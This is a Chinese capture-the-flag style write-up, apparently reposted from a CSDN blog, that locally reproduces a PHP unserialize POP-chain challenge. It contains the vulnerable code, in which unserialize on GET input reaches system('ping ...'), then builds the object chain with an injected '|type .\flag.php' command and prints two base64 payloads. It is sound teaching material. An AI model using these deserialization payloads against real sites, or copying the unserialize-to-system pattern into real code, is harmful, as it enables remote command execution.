ping-[pop链]-[本地复现]

本文阅读 5 分钟
首页 代码,C/C#/C++ 正文

1.ping-[pop链]-[本地复现]

第一步:代码审计

<?php
class getip{    //类:getip
    public $ip;    //公有属性:$ip
    function __construct()    //构造方法__construct():在实例化当前类前,自动被调用,用来给属性初始化
    {
        $this->ip = "127.0.0.1";    //属性初始化
    }
    function __destruct()    //魔术方法__destruct():在当前类的实例化对象销毁前,自动被调用
    {
        echo 'The ip is' .$this->ip;    //打印出当前类的属性
    }
}
//很明显:
//构造方法可以属性初始化
//魔术方法可以在被调用的前提下,打印出自己的属性
//假如这个被打印的属性是某个类的实例化对象,那么那个类的的__toString()魔术方法就会被自动调用

class getresult{    //类:getresult
    public $obj;    //公有属性:$obj
    public $ip;        //公有属性:$ip
    function __construct()    //构造方法__construct():在实例化当前类前,自动被调用,用来给属性初始化
    {
        $this->ip = "127.0.0.1";    //属性初始化
        $this->obj = null;            //属性初始化
    }
    function __toString()//魔术方法__toString():当所在类的实例化对象被当作字符串操作时,自动被调用
    {
        $this->obj->execute();        //取以$obj属性的值为名的类的实例化对象的execute()方法,去调用
        return $this->ip;            //返回属性$ip
    }
}
//很明显:我们可以通过第一个类,让该类的__toString()魔术方法被调用,
//假如此时该类的实例化对象的属性obj的值为ping类的实例化对象,那么就会去调用ping类的execute()方法

class ping{                            //类:ping
    private $ip;                    //私有属性:$ip
    function execute(){                //自定义方法execute()
        $str = 'ping '.$this->ip;    //把属性$ip拼接后赋值给$str
        system($str);                //执行system($str)
    }
}

unserialize(base64_decode($_GET['ip']));
//后台接后以GET形式提交的ip参数的值,并且base64解码,并且反序列化
?>
<!--.\flag.php-->

第二步:思路

倒推法:

想要flag--》就要执行ping类的system($str)--》就要ping类的私有$ip的值为127.0.0.1|type .\flag.php--》就要执行ping类的execute()--》就要getresult类的$obj属性的值为ping类的实例化对象--》就要getresult类的魔术方法__toString()被调用--》就要getresult类的实例化对象等于getip类的实例化对象的$ip公有属性--》就要执行析构方法--》就要反序列化getip类的实例化对象

正推法:

我们要实例化一个getip类的对象,并且该对象的公有属性$ip的值为getresult()类的实例化对象,并且该getresult类的对象的公有obj属性的值为ping类的实例化对象,并且ping类的对象的私有属性$ip的值为【127.0.0.1|type .\flag.php】,最后我们再进行序列化,base64编码,传入即可

总之:

需要创建三个类的实例化对象
第一个类的公有属性ip为第二个类的对象
第二个类的公有属性obj为第三个类的对象
第三个类的私有属性ip为127.0.0.1|type .\flag.php

第三步:编写代码,构造payload

方法一:利用php7.2.10对私有公有属性的不严格处理,解决私有属性在序列化后的不可间字符不可赋值的问题

<?php
class getip{                       
    public $ip;                    
    function __construct()        
    {
        $this->ip = "127.0.0.1";    
    }
    function __destruct()          
    {
        echo 'The ip is' .$this->ip;
    }
}

class getresult{                   
    public $obj;                  
    public $ip;                  
    function __construct()       
    {
        $this->ip = "127.0.0.1";   
        $this->obj = null;         
    }
    function __toString()
    {
        $this->obj->execute();
        return $this->ip;
    }
}

class ping{
    #private $ip;
    public $ip;        //php7.2.10版本,会忽略私有、公有
    function execute(){
        $str = 'ping '.$this->ip;
        system($str);
    }
}

$chen = new getip();
$chen->ip = new getresult();
$chen->ip->obj = new ping();
$chen->ip->obj->ip = '127.0.0.1|type .\flag.php';
$chen = serialize($chen);
echo "<br />".$chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{s:2:"ip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
$chen = base64_encode($chen);
echo $chen."<br />";
//Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e3M6MjoiaXAiO3M6MjU6IjEyNy4wLjAuMXx0eXBlIC5cZmxhZy5waHAiO31zOjI6ImlwIjtzOjk6IjEyNy4wLjAuMSI7fX0

payload1:以GET形式通过参数ip传递

?ip=Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e3M6MjoiaXAiO3M6MjU6IjEyNy4wLjAuMXx0eXBlIC5cZmxhZy5waHAiO31zOjI6ImlwIjtzOjk6IjEyNy4wLjAuMSI7fX0=

方法二:利用S十六进制表示,解决私有属性在序列化后的不可间字符不可赋值的问题

<?php
class getip{
    public $ip;
    function __construct()
    {
        $this->ip = "127.0.0.1";
    }
    function __destruct()
    {
        echo 'The ip is' .$this->ip;
    }
}

class getresult{
    public $obj;
    public $ip;
    function __construct()
    {
        $this->ip = "127.0.0.1";
        $this->obj = null;
    }
    function __toString()
    {
        $this->obj->execute();
        return $this->ip;
    }
}

class ping{
    private $ip = '127.0.0.1|type .\flag.php';
    #public $ip;        //php7.2.10版本,会忽略私有、公有
    function execute(){
        $str = 'ping '.$this->ip;
        system($str);
    }
}

$chen = new getip();
$chen->ip = new getresult();
$chen->ip->obj = new ping();
$chen = serialize($chen);
echo "<br />".$chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{s:8:"pingip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
//很明显:ping类的ip属性是私有属性,会在序列化的时候出现不可见字符,不能赋值,所以我们要替换不可见字符
$chen = str_replace(chr(00),'\00',$chen);
echo $chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{s:8:"\00ping\00ip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
$chen = str_replace('s:8:','S:8:',$chen);
echo $chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{S:8:"\00ping\00ip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
var_dump(unserialize($chen));
//object(getip)[4]
//  public 'ip' =>
//    object(getresult)[5]
//      public 'obj' =>
//        object(ping)[6]
//          private 'ip' => string '127.0.0.1|type .\flag.php' (length=25)
//      public 'ip' => string '127.0.0.1' (length=9)
$chen = base64_encode($chen);
echo "<br />".$chen."<br />";
//Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e1M6ODoiXDAwcGluZ1wwMGlwIjtzOjI1OiIxMjcuMC4wLjF8dHlwZSAuXGZsYWcucGhwIjt9czoyOiJpcCI7czo5OiIxMjcuMC4wLjEiO319

payload2:以GET形式通过参数ip传递

?p=Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e1M6ODoiXDAwcGluZ1wwMGlwIjtzOjI1OiIxMjcuMC4wLjF8dHlwZSAuXGZsYWcucGhwIjt9czoyOiJpcCI7czo5OiIxMjcuMC4wLjEiO319

第四步:由于是本地复现,所以恢复页面代码如初,提交参数,查看页面源码,发现flag

payload1:成功

图略 payload2:失败

图略

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109957803
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复